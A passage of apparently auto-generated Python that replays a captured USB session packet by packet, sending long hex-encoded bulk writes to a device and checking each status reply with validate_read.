b\"\\xFD\\x6B\\x63\\x96\\x82\\xD9\\x8F\\xC3\\x3E\\xF0\\x27\\x73\\x8B\\xE2\\xFE\\x27\"\n b\"\\xFE\\x7C\\x2A\\xFC\\xFA\\x61\\x35\\xFB\\xCE\\x62\\x3C\\x59\\x9A\\x58\\x75\\xD3\"\n b\"\\x30\\x56\\xDC\\x5E\\xCA\\x7C\\x05\\xEB\\x68\\x69\\xAF\\x15\\x9B\\xE2\\xBE\\x6B\"\n b\"\\xCE\\x64\\x3B\\x49\\x3A\\x6A\\x77\\x81\\xE7\\xE5\\x9E\\x90\\x6D\\x2A\\x6E\\xB5\"\n b\"\\x23\\xC8\\x8E\\xE7\\x12\\xF5\\x73\\x37\\xA4\\x17\\x7E\\x6F\\xB9\\x0B\\x28\\x1D\"\n b\"\\x23\\x64\\x79\\x61\\x9C\\xD6\\x18\\xF6\\xAE\\x95\\x79\\x23\\xE8\\xCB\\x20\\x43\"\n b\"\\xA8\\x70\\x90\\x41\\x19\\x3C\\x35\\xAD\\xC5\\x59\\x38\\x1A\\xDC\\x9F\\x0E\\xC2\"\n b\"\\xC1\\x75\\x31\\x3B\\x7B\\xAC\\xD8\\x41\\x04\\x4C\\x16\\x60\\x7C\\xB3\\x3E\\x6C\"\n b\"\\x58\\x6E\\xD5\\x45\\x07\\x59\\x85\\xD4\\x7D\\x26\\xD9\\x52\\x01\\xA2\\x04\\xE8\"\n b\"\\xCE\\x9F\\x41\\x83\\xC0\\x15\\x1C\\x4D\\xFF\\x40\\xFF\\x12\\x66\\xBD\\xB7\\xFB\"\n b\"\\x09\\xE3\\xC0\\xB3\\xD5\\xE3\\xE5\\x9B\\x37\\x0C\\xEA\\xD1\\xA3\\x33\\x94\\xBA\"\n b\"\\x4F\\x49\\xE9\\xA5\\x2B\\xBF\\x88\\xCB\\xB9\\xCA\\x91\\x71\")\n # Generated from packet 2307/2308\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2307/2308\")\n # Generated from packet 2309/2310\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2A\\xB8\\x3A\\x56\\xA6\\x72\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0C\\x51\\x9F\\xD3\\x42\\xC5\\x65\\x8A\"\n b\"\\x1C\\x16\\xB8\\xD5\\xF7\\x26\\x4B\\x68\\xB3\\x57\\x03\\x31\\xF7\\xCB\\xEB\\x2C\"\n b\"\\x44\\xEA\\x2B\\x59\\xD0\\xA0\\xE8\\x85\\x33\\x43\\x4A\\xD7\\x9F\\xEB\\x18\\xC0\"\n b\"\\x22\\x12\\xAF\\x32\\x60\\x7B\\x01\\xE5\\x20\\x47\\xB8\\xA7\\xF9\\x3B\\xE6\\x74\"\n b\"\\x74\\xB1\\x14\\x07\\x5D\\xBD\\x6F\\xED\\xB0\\xCD\\x8E\\x0B\\x28\\x46\\x82\\x03\"\n b\"\\x1D\\x28\\xD4\\xF5\\xC1\\x6B\\x13\\x9E\\x92\\xCD\\xAD\\x9E\\x85\\x87\\x68\\x74\"\n b\"\\xFE\\x01\\x9D\\xE0\\xF9\\x3A\\xF0\\x97\\xCA\\xC3\\xDF\\x70\\x54\\xBF\\x91\\xE5\"\n b\"\\x7A\\xA6\\x5E\\x77\\x17\\x30\\xD4\\xC9\\xB8\\x14\\xD1\\xB8\\xE2\\x7B\\xA5\\x5C\"\n b\"\\x68\\x59\\xB0\\x88\\x29\\xBF\\x3B\\x17\\xDC\\x82\\x3C\\x09\\x3F\\x2C\\x37\\x20\"\n b\"\\xCE\\x0D\\xD3\\xEE\\xE9\\x25\\x57\\x12\\xDE\\x85\\x6D\\xAF\\xE0\\x17\\x56\\x73\"\n b\"\\xC0\\x80\\x40\\xAC\\xEA\\x9C\\x27\\xD6\\x2B\\x57\\x7E\\x08\\xEB\\xAD\\x9E\\x9A\"\n b\"\\x80\\x0E\\x69\\x13\\x17\\xCD\\x27\\x74\\x4A\\xE3\\xFF\\x7B\\xE2\\x80\\xF0\\x69\"\n b\"\\x34\\xC0\\xAD\\x3E\\xE7\\x40\\x29\\x2F\\x5E\\x24\\x88\\x56\\x48\\x0C\\xF9\\xA1\"\n b\"\\x04\\x51\\xEB\\x59\\x38\\xD7\\x2E\\xEF\\x3C\\x62\\x87\\xC5\\xB1\\x3D\\xB9\\xB1\"\n b\"\\xAE\\x66\\x5A\\x28\\x0F\\xFB\\x30\\x88\\xD0\\x8F\\x73\\xD1\\x1E\\xCE\\x03\\x1D\"\n b\"\\xE6\\x98\\xCF\\xE1\\x45\\x87\\x3A\\x0D\\x95\\x1B\\x73\\x38\\x83\\xFC\\x2C\\x2D\"\n b\"\\xD7\\x81\\x2E\\x16\\x94\\x8F\\x29\\xDC\\xA5\\x75\\x08\\xF5\")\n # Generated from packet 2311/2312\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2311/2312\")\n # Generated from packet 2313/2314\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF4\\xC7\\x6B\\xE4\\x87\\x49\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF6\\xF7\\x04\\x8B\\x64\\x96\\xAF\\xE5\"\n b\"\\x1E\\x86\\x70\\xCE\\xC3\\x98\\xF8\\x52\\x8B\\x0E\\xDF\\xE5\\x1E\\x04\\x26\\xE6\"\n b\"\\xB8\\x7B\\x4B\\xD8\\x33\\x9A\\x07\\x91\\xCA\\x64\\xAF\\xF9\\x97\\xD0\\x84\\xD9\"\n b\"\\x6B\\x00\\x97\\x4C\\xC5\\xA5\\xDD\\xBC\\x8A\\x97\\x7D\\xE9\\x11\\x06\\xA6\\xED\"\n b\"\\x1D\\x4E\\x5B\\xF4\\x80\\xC2\\x4C\\x24\\xF9\\x7E\\x58\\x1D\\x30\\xF8\\x2E\\x05\"\n b\"\\x28\\x16\\x12\\x7D\\x46\\x85\\x58\\xEF\\xA4\\xDB\\x25\\x72\\xD8\\x05\\x49\\x9B\"\n b\"\\xEE\\xB9\\xC3\\x2D\\x80\\x7F\\x58\\x90\\x5E\\xCF\\x2F\\x4B\\xA3\\xDE\\x3A\\xC2\"\n b\"\\x51\\x60\\xF3\\xF5\\x4C\\xD0\\x8A\\x6C\\x30\\xDB\\x34\\x5D\\x31\\x95\\xB8\\xA9\"\n b\"\\x15\\xCD\\xB8\\x79\\xFE\\xAA\\xF5\\x42\\x48\\xB6\\x3C\\xD0\\xBC\\x37\\xF6\\xEE\"\n b\"\\x1F\\xC3\\xCA\\x32\\x62\\x8C\\x76\\xD6\\xBA\\x24\\xDC\\x54\\x7B\\xE7\\x11\\x39\"\n b\"\\x4C\\x5B\\x08\\xE7\\x20\\x09\\x35\\x32\\x57\\x29\\x47\\x10\\x6C\\x23\\x2A\\xA5\"\n b\"\\x03\\x02\\x49\\x59\\x64\\xB0\\x69\\xE9\\x32\\x2F\\xFA\\x45\\xB6\\x55\\x56\\x87\"\n b\"\\xFF\\x4E\\x99\\x1E\\x4D\\xCA\\x05\\xBD\\x2B\\x69\\x23\\xAF\\xC3\\x95\\xA6\\xE2\"\n b\"\\x2A\\x7E\\x33\\xBE\\x39\\x18\\xBB\\xAC\\x61\\x97\\xC4\\xF4\\xA4\\x93\\xC2\\x9E\"\n b\"\\x31\\x4D\\x0B\\xA1\\xC9\\x61\\x29\\xEC\\x5E\\x9B\\x4B\\x5B\\x67\\x8B\\x1A\\x5D\"\n b\"\\x79\\x06\\x82\\x35\\x26\\x25\\x3C\\xB2\\x6C\\xD8\\xB5\\x06\\x3F\\xBA\\xF8\\x89\"\n b\"\\x8B\\x86\\x29\\x32\\x51\\xD3\\x63\\x49\\xC9\\xCA\\xF7\\x63\")\n # Generated from packet 2315/2316\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2315/2316\")\n # Generated from packet 2317/2318\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x37\\x1E\\x10\\x8C\\x95\\x38\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x79\\x85\\x28\\x07\\x3E\\x43\\xAE\\x91\"\n b\"\\x56\\xC2\\x37\\x4E\\x0D\\x33\\x23\\x8A\\xFE\\x1F\\xA8\\xE2\\x09\\xA2\\x40\\x96\"\n b\"\\x55\\x4D\\x9C\\xEE\\xE0\\x21\\x6F\\xB7\\x43\\xC6\\x30\\x5F\\xF0\\x2B\\x88\\xD5\"\n b\"\\xEA\\x2F\\x1D\\xB6\\x2F\\x82\\x2D\\x4C\\x52\\xA8\\x88\\x64\\xFE\\x46\\x2F\\xDD\"\n b\"\\x82\\x27\\x91\\x51\\x25\\xCF\\x4E\\x0B\\x73\\xA3\\x71\\x01\\x9D\\xD6\\x6A\\x8C\"\n b\"\\x66\\xF3\\x16\\xF0\\xE9\\x6C\\x3B\\xED\\xEF\\xE3\\xBF\\x22\\x95\\x14\\xAC\\x3A\"\n b\"\\x2E\\x8B\\xCD\\xB5\\xEA\\x38\\x5F\\x01\\x08\\x2D\\xFD\\x92\\x04\\x4E\\x8B\\xFE\"\n b\"\\xC5\\xF4\\x60\\x8B\\x95\\xE8\\xCF\\x1F\\x46\\xEF\\x06\\x82\\x85\\x51\\xE1\\xA1\"\n b\"\\x90\\x0C\\x4E\\x75\\x89\\xDF\\x86\\x9C\\x71\\x70\\x3A\\x9D\\x6E\\x83\\xA0\\x52\"\n b\"\\x9F\\xA6\\x6E\\x55\\xE7\\x42\\x02\\x3F\\xED\\xC9\\xC7\\x8C\\x85\\xE9\\xCE\\x63\"\n b\"\\x85\\x4A\\xB0\\x36\\xCD\\x37\\x0F\\x65\\xA9\\xF0\\xFF\\xAE\\xFC\\xBD\\x55\\x59\"\n b\"\\x4A\\xF4\\x94\\xEA\\xB0\\x26\\x0C\\xBE\\xA3\\xAA\\x10\\x99\\x2D\\x45\\x61\\x89\"\n b\"\\x14\\x1C\\xD6\\xDD\\x3D\\xFC\\xE3\\x84\\xCA\\xCC\\xB8\\x57\\xA2\\x05\\x3F\\x51\"\n b\"\\x9C\\x31\\xD5\\xBC\\xF8\\xA8\\xAA\\x95\\xBF\\x9F\\xCD\\x3D\\xDC\\x0D\\xEC\\xA8\"\n b\"\\xF5\\x16\\xAD\\x24\\x64\\x24\\xA9\\xC9\\xAF\\x62\\x58\\x39\\x1B\\xEF\\x73\\x37\"\n b\"\\x90\\xDC\\x81\\xE3\\x6F\\x59\\xA5\\xFA\\x00\\x8E\\xEC\\x04\\x42\\xDE\\xA6\\x99\"\n b\"\\xA9\\x9D\\x9E\\x5C\\x3B\\x7C\\xB4\\x55\\x0C\\x8E\\xEA\\xB8\")\n # Generated from packet 2319/2320\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2319/2320\")\n # Generated from packet 2321/2322\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7D\\x94\\x1A\\x10\\x4C\\x50\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5D\\x70\\x5F\\x03\\xA3\\x01\\x83\\xC6\"\n b\"\\xAC\\xE9\\xC7\\xDA\\x6F\\xD3\\xB6\\xEF\\xD3\\xAF\\xD7\\x17\\x02\\x22\\xBC\\x85\"\n b\"\\x68\\xAA\\xBB\\x7F\\x76\\x05\\x92\\x7E\\x32\\xC1\\x74\\x86\\x4F\\x24\\xD5\\x13\"\n b\"\\xDC\\xBF\\x0A\\xF3\\x07\\xA9\\xA5\\x7C\\xFF\\xF1\\xFA\\x99\\xFD\\xA8\\xA0\\x8A\"\n b\"\\xAA\\x1A\\x23\\xA5\\x31\\xF7\\x65\\xB7\\x83\\x76\\xF8\\x8D\\xEE\\x07\\x65\\x49\"\n b\"\\xF9\\x6C\\x34\\x5F\\x27\\x28\\x80\\x07\\xF2\\x1A\\xB9\\x3F\\xC7\\xF7\\x48\\x07\"\n b\"\\x70\\x3B\\x09\\x53\\x2F\\xD3\\xC1\\x3A\\xFE\\x55\\xEA\\xCC\\x28\\xE5\\xAA\\x1A\"\n b\"\\x17\\xAB\\x3C\\xF9\\xDA\\x65\\x25\\x9C\\x1E\\x4A\\xF8\\xD2\\x27\\xCB\\xE1\\x6B\"\n b\"\\x48\\x4A\\x9A\\xA6\\xF1\\x18\\x22\\xE9\\xAD\\xE8\\xB8\\xEA\\x53\\x67\\xD1\\x7F\"\n b\"\\x83\\x68\\xA8\\xBA\\x73\\x82\\x48\\x1A\\xAC\\x26\\x48\\xBA\\x8B\\x8C\\x3F\\x43\"\n b\"\\x3D\\xFD\\xC1\\xFA\\xE3\\xF3\\x36\\x23\\xB4\\x69\\x19\\xE4\\x04\\xC7\\xA7\\x06\"\n b\"\\xB4\\xD7\\xCB\\x28\\x01\\x60\\x00\\x2E\\xB5\\xF9\\x45\\xCA\\xD4\\x4E\\xB9\\xE8\"\n b\"\\x5C\\x1E\\x99\\xBB\\x9A\\x1A\\x94\\x3E\\xB7\\x9B\\x5E\\xFF\\xF7\\xAE\\x66\\x77\"\n b\"\\xBA\\xC4\\xF5\\x74\\x05\\xD1\\x48\\x5A\\x84\\xEA\\x4D\\xDE\\x10\\x48\\xE5\\x23\"\n b\"\\x50\\x91\\x01\\xBD\\x73\\x08\\x5B\\x82\\x43\\x93\\xBF\\xB3\\xA1\\x66\\x6C\\x6E\"\n b\"\\x76\\x5A\\xF3\\x2B\\xE6\\xA5\\x0D\\xEF\\x86\\x00\\x03\\x6B\\x12\\x6A\\xED\\x65\"\n b\"\\xB4\\x4F\\xBD\\x3D\\x45\\x79\\x7F\\xC4\\x93\\xF5\\x13\\x3D\")\n # Generated from packet 2323/2324\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2323/2324\")\n # Generated from packet 2325/2326\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAB\\x31\\xC2\\x4A\\xB0\\x5A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD4\\x59\\x03\\x05\\x71\\x46\\x95\\xDB\"\n b\"\\xFD\\xC9\\x6A\\xC7\\x0A\\xF3\\x18\\x2E\\x2F\\x75\\xC3\\x8B\\x3F\\xFC\\xBF\\xA9\"\n b\"\\x2E\\xB8\\xAE\\x68\\x59\\x2D\\x6F\\xDB\\x11\\x64\\x36\\xED\\x39\\x56\\x17\\x82\"\n b\"\\x56\\x63\\xA6\\x8E\\x4E\\xFC\\x80\\x1C\\xF3\\xDC\\x04\\x95\\x10\\x58\\xBB\\x38\"\n b\"\\x1A\\x65\\x7C\\x6D\\x7B\\xB6\\xCE\\xA3\\x1B\\x6A\\xC7\\x50\\xA4\\x6F\\x15\\xC7\"\n b\"\\x3D\\x83\\x14\\xAD\\xAD\\x5C\\x36\\xBF\\x95\\x5C\\x00\\xC8\\x06\\xC1\\xEA\\x84\"\n b\"\\x9A\\xEB\\xDC\\xF2\\x3C\\x4E\\x24\\xD4\\x88\\x6C\\x0F\\x62\\xE0\\xA5\\xB5\\xAE\"\n b\"\\xA5\\x1F\\xA0\\xFD\\x8C\\x5D\\x72\\xCA\\xF8\\xCA\\x32\\xB3\\xF2\\x2D\\x7E\\xFC\"\n b\"\\x45\\xFE\\xAF\\x14\\x40\\xEA\\x2A\\xAA\\xCC\\x72\\x6A\\x26\\x8B\\x00\\xE6\\xE5\"\n b\"\\x5C\\xA1\\xA1\\xC3\\xC5\\x93\\x54\\xCE\\x7F\\x8D\\xF4\\x04\\x7D\\xD8\\x58\\xD3\"\n b\"\\xEC\\x52\\x2E\\xED\\x02\\x80\\x23\\x8A\\x00\\xC5\\x86\\x3E\\x38\\x6E\\x65\\x2D\"\n b\"\\x6F\\xBB\\x3E\\x42\\x6D\\x9C\\x2B\\x0F\\xF8\\x87\\xA1\\xDC\\x9F\\xD2\\xDF\\x58\"\n b\"\\x86\\x81\\xC3\\x97\\xFC\\xB9\\x9C\\xC9\\xED\\xC9\\x22\\xCE\\xB2\\x3C\\x66\\x55\"\n b\"\\xAA\\x3F\\x74\\x7F\\x8F\\xDE\\x88\\x06\\x86\\x3C\\x18\\xA9\\x0E\\xA0\\xD4\\x57\"\n b\"\\xA1\\xD6\\xBA\\xF4\\x8B\\xA5\\x36\\x0A\\x43\\x5D\\x07\\x13\\xAA\\xF5\\xEF\\xFE\"\n b\"\\x92\\x63\\x1D\\xE9\\x59\\x20\\x5E\\xE9\\xD7\\x19\\x9A\\x2C\\x9B\\xFF\\x2D\\x6E\"\n b\"\\xC2\\x4E\\x64\\x50\\xA8\\x44\\xB3\\x6B\\xF7\\x8B\\x8B\\xF3\")\n # Generated from packet 2327/2328\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2327/2328\")\n # Generated from packet 2329/2330\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9E\\x81\\xF2\\x9F\\x5A\\x06\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD5\\x7B\\xF0\\x31\\xA2\\xBA\\x8F\\x1C\"\n b\"\\x4E\\x2C\\x7F\\x0E\\xF8\\x69\\x3F\\x53\\x9E\\xB6\\xA1\\x91\\x2D\\x25\\x5E\\xEC\"\n b\"\\x13\\xFC\\x7A\\x60\\x6D\\xC7\\x38\\xEB\\x5B\\xDC\\x2D\\x74\\x4B\\x34\\xA0\\xBB\"\n b\"\\x65\\x0F\\x06\\xF6\\x0F\\x39\\x0B\\x52\\x4A\\x4D\\x14\\xA8\\x16\\xF4\\xE2\\x1A\"\n b\"\\x53\\x46\\x16\\x56\\xFF\\x90\\xC7\\x78\\x93\\x13\\xF5\\x1E\\xC5\\x7B\\x27\\x0A\"\n b\"\\x8E\\xB1\\xE4\\xB5\\xE5\\x56\\xB7\\x81\\xDB\\x20\\xEE\\x60\\xE7\\x38\\xDB\\xD7\"\n b\"\\x30\\xEF\\x42\\xAB\\x64\\x73\\xD4\\x2B\\xBF\\xF4\\x27\\x00\\xD1\\x5E\\x16\\xE3\"\n b\"\\xB3\\x53\\x69\\x7D\\x99\\x0F\\x28\\x6C\\xCD\\xB0\\x66\\x0A\\x66\\x8D\\x43\\x9A\"\n b\"\\x7B\\xE5\\xF8\\xDD\\xEB\\xE2\\xF0\\xA0\\xD8\\x13\\x45\\xAD\\xA3\\x18\\x4A\\x96\"\n b\"\\x64\\x52\\x8B\\x41\\x1C\\x43\\xB7\\x54\\x55\\x29\\x96\\xFD\\x86\\xDE\\xB6\\x9F\"\n b\"\\x2D\\xE5\\x96\\x4A\\xF7\\x0D\\xDB\\x48\\xD3\\x86\\x5B\\xEB\\x26\\xFA\\x43\\x25\"\n b\"\\xEA\\x57\\x05\\xB5\\xBB\\x4B\\x1F\\x44\\x7C\\xCD\\xF6\\x74\\xD5\\x91\\xEE\\x06\"\n b\"\\x28\\x2B\\x58\\x14\\x1D\\x47\\xBA\\x21\\x9B\\xB2\\x01\\x2A\\x19\\x2D\\xE9\\xD8\"\n b\"\\x0F\\xD8\\x5A\\x21\\x34\\x4C\\x7A\\xAB\\x9F\\xD2\\x59\\xEF\\x2D\\xE3\\x13\\x04\"\n b\"\\x06\\x1B\\x4A\\x73\\xC4\\xDB\\x7D\\x76\\xDB\\x13\\xA0\\x67\\x14\\x18\\x9B\\x72\"\n b\"\\x2C\\x9C\\x98\\x6E\\x5F\\x72\\x81\\x22\\xD2\\x98\\x70\\x5C\\x13\\x32\\x98\\x87\"\n b\"\\x58\\xC6\\x94\\x3E\\xE1\\x0D\\xD6\\xC6\\x25\\x1A\\x78\\x86\")\n # Generated from packet 2331/2332\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2331/2332\")\n # Generated from packet 2333/2334\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x54\\x10\\xE6\\xAE\\x8D\\x24\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9F\\x65\\x20\\x5B\\x95\\xEF\\x37\\x18\"\n b\"\\x0F\\xF6\\x28\\xAF\\x21\\x98\\xD7\\xC2\\xC3\\xA5\\x12\\x21\\xAE\\x8E\\xF3\\xBC\"\n b\"\\x98\\x0B\\x61\\x45\\x8C\\x3C\\x68\\x02\\xA5\\x95\\x7A\\x46\\x09\\x51\\x01\\x66\"\n b\"\\xB6\\x90\\x07\\x6A\\xEF\\x48\\x8B\\xB6\\x3E\\x45\\x55\\x1F\\x4B\\xE2\\xEE\\x0A\"\n b\"\\x43\\x7E\\xC6\\xC3\\xC2\\x52\\x92\\xC6\\xAA\\x96\\x29\\x39\\x9C\\x10\\x8B\\x71\"\n b\"\\xC0\\x11\\x32\\x66\\x51\\x6F\\xA6\\xF3\\x99\\x59\\x1B\\x89\\x63\\x28\\x1D\\xE4\"\n b\"\\x28\\x47\\x7C\\xEF\\x58\\xE8\\x69\\xC7\\xB6\\x5D\\x44\\x5E\\xCD\\xF8\\xBA\\x8C\"\n b\"\\xA2\\xC2\\x09\\x51\\xB6\\x54\\x19\\xD0\\xC3\\x21\\x28\\x02\\xCD\\x98\\xDD\\x6A\"\n b\"\\xE9\\xBE\\x57\\x16\\x63\\xB9\\x4D\\xF6\\x57\\xD9\\x8F\\x83\\xB8\\x20\\xE4\\x91\"\n b\"\\x48\\x8E\\x8F\\x5A\\x92\\x84\\xD5\\xB8\\x94\\x26\\x93\\x5B\\x09\\x7B\\x72\\xD0\"\n b\"\\x6B\\x54\\x82\\x7C\\x6C\\x62\\x32\\x7F\\xEB\\x00\\x58\\x2C\\xCB\\x0E\\x2E\\xC3\"\n b\"\\x6B\\x32\\x7E\\x50\\x5C\\x62\\x5F\\x94\\xF9\\x32\\x16\\xC1\\x39\\x25\\x70\\xEA\"\n b\"\\xFA\\xD8\\x2B\\x2B\\x7F\\x4F\\xDF\\x83\\xF1\\x67\\x61\\xE0\\x5F\\xF7\\x5C\\xFA\"\n b\"\\x44\\x59\\x7C\\x10\\x58\\xD1\\x58\\x30\\x4F\\x40\\x62\\xEF\\x67\\x67\\x54\\xFF\"\n b\"\\x67\\x5F\\x49\\x7E\\x50\\x8D\\xE9\\xAD\\x27\\xD8\\xB7\\x55\\xC9\\xCA\\x99\\x38\"\n b\"\\xFA\\x34\\x48\\x4F\\x1E\\xA5\\xA8\\x60\\x5F\\x33\\x32\\xA0\\x4F\\x1B\\x87\\x83\"\n b\"\\x55\\x17\\x89\\x2B\\x15\\x71\\x9E\\x8B\\xEF\\x82\\x43\\x95\")\n # Generated from packet 2335/2336\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2335/2336\")\n # Generated from packet 2337/2338\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9A\\x07\\x46\\x69\\x4E\\x21\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\xAE\\xFE\\xD2\\x3D\\x48\\x65\\xB0\"\n b\"\\x69\\xE0\\x3D\\x04\\x5E\\xE2\\x02\\x4A\\xB8\\x6E\\x82\\x3C\\xDC\\xD5\\x18\\xD7\"\n b\"\\x7D\\x72\\x35\\xA4\\x56\\x92\\x2C\\xEA\\x18\\x56\\x15\\x77\\x34\\x25\\x62\\xAF\"\n b\"\\x45\\xD8\\x76\\x2D\\x4F\\xE0\\x62\\xEB\\xCB\\x58\\xE3\\x37\\xD6\\x7E\\x35\\x23\"\n b\"\\x03\\xD7\\xF9\\xE4\\xFC\\x3E\\x41\\x77\\x85\\xA2\\x86\\xE7\\xED\\xE6\\x96\\x43\"\n b\"\\x6E\\xF5\\x0D\\x92\\xC2\\x69\\xFB\\x74\\x2E\\xDC\\x62\\xD5\\xBF\\x51\\xC7\\xA3\"\n b\"\\xFF\\x48\\x29\\x2B\\xAC\\x76\\xAB\\x84\\x49\\x22\\x04\\x74\\xBB\\x75\\x8E\\x15\"\n b\"\\x66\\xCA\\x4B\\x64\\x66\\x5E\\xC8\\xF0\\xAC\\x96\\x8B\\x45\\x8C\\xAC\\x7C\\x58\"\n b\"\\xD7\\x2A\\xA6\\x55\\x87\\x23\\xF3\\x8B\\x9D\\x3A\\x89\\x74\\x18\\x19\\x29\\x8A\"\n b\"\\x5A\\x42\\x45\\x37\\xB3\\x8A\\x86\\xD6\\x8F\\xB8\\xBE\\xE1\\x3E\\x89\\xC6\\x49\"\n b\"\\xDC\\x97\\x0F\\xDF\\x5F\\xEF\\x87\\x15\\x3C\\x77\\xBF\\xC6\\x13\\x80\\xEC\\x0D\"\n b\"\\x7D\\x5C\\x73\\x8A\\x48\\xE0\\x89\\xF9\\xDE\\x16\\x12\\x6B\\x6F\\xD6\\xF8\\xDE\"\n b\"\\x1A\\x9A\\x38\\xF6\\x12\\x87\\x6C\\x80\\x9E\\x66\\x82\\x68\\xDA\\x32\\xD5\\x1A\"\n b\"\\xC9\\xB8\\xF3\\xE7\\x38\\x92\\xC1\\x73\\xBF\\x2E\\xD9\\x3C\\x40\\x01\\xDE\\x01\"\n b\"\\x53\\x59\\x60\\xD2\\x35\\xA6\\x21\\x1A\\xB9\\x30\\xCC\\xBA\\x79\\x6C\\x6E\\x03\"\n b\"\\xF3\\x91\\xF3\\x7F\\x97\\xBF\\xD5\\x7E\\x27\\xC3\\x44\\x2E\\xD7\\x05\\x1E\\xBD\"\n b\"\\x47\\xAA\\x5F\\xD9\\xF6\\x19\\x4C\\xEE\\xEA\\xE3\\x40\\xA3\")\n # Generated from packet 2339/2340\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2339/2340\")\n # Generated from packet 2341/2342\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x10\\x54\\xAD\\xF5\\x2D\\x34\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x31\\xB9\\x70\\x8A\\x45\\xA9\\xEF\\x87\"\n b\"\\x51\\x10\\x62\\xA2\\x38\\x59\\x34\\x11\\x1B\\x51\\xE0\\x82\\xCC\\xA6\\xCD\\xA0\"\n b\"\\xBA\\x43\\x03\\x86\\xAF\\x0D\\x24\\xDB\\xCB\\x19\\x75\\x31\\xDD\\x83\\x9F\\x1E\"\n b\"\\x68\\xA0\\x6B\\x56\\xEE\\x43\\xC1\\x22\\x44\\x72\\xD9\\x40\\xE3\\xC1\\xC8\\xF6\"\n b\"\\x97\\x15\\x2E\\xD4\\x55\\xDA\\xFC\\x38\\x46\\xEF\\x07\\x6D\\xC0\\x05\\xB8\\x17\"\n b\"\\x74\\x20\\x37\\x72\\x18\\xB3\\x52\\x46\\x55\\x68\\x12\\x8A\\x3F\\xA2\\xA5\\xC7\"\n b\"\\x94\\xF5\\x4E\\xB5\\xDA\\x0F\\x7D\\x6F\\x07\\x47\\x3F\\x7A\\xAA\\x8C\\xEF\\xBC\"\n b\"\\x94\\x6E\\x43\\xCD\\x0C\\x6A\\x7C\\xE7\\x28\\xC6\\x94\\x35\\x29\\xFB\\x4F\\x4E\"\n b\"\\x77\\xBA\\x5B\\xF5\\xFB\\x4A\\x8B\\xB6\\x3E\\xC1\\x5D\\x9E\\xCB\\xE4\\x06\\x18\"\n b\"\\x03\\x73\\x56\\x07\\x52\\xD2\\x40\\x1E\\x38\\x88\\xA1\\x74\\x0A\\x32\\x6B\\x62\"\n b\"\\xE6\\xE3\\x6A\\x97\\x53\\xC7\\xA2\\x04\\x09\\x5F\\xFB\\x0D\\x56\\x3E\\xBA\\x41\"\n b\"\\x59\\xF9\\x18\\x7F\\x68\\x99\\x5D\\xA1\\x3E\\x00\\x62\\x8C\\x5F\\x5A\\x48\\x18\"\n b\"\\x9E\\xE4\\x80\\xCC\\x50\\x41\\x19\\xC6\\xD7\\x23\\x2A\\x06\\xD9\\x9C\\x19\\x46\"\n b\"\\x0B\\x4C\\x33\\x87\\xCD\\x78\\x5B\\x35\\x13\\xCF\\x06\\x10\\x6E\\xFA\\xE4\\x91\"\n b\"\\x5C\\x8C\\x8F\\x3F\\x86\\xD6\\x92\\x84\\x76\\xD4\\xE1\\xAF\\x91\\x7B\\xEC\\x55\"\n b\"\\x2F\\xBE\\x82\\x6D\\x66\\xF7\\x8F\\x69\\x0D\\x99\\x70\\x0A\\x59\\x02\\xCE\\xF1\"\n b\"\\x13\\x8A\\x5A\\x5C\\x68\\xAE\\x09\\xE8\\x81\\x04\\x96\\xB5\")\n # Generated from packet 2343/2344\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2343/2344\")\n # Generated from packet 2345/2346\n bulkWrite(0x01, 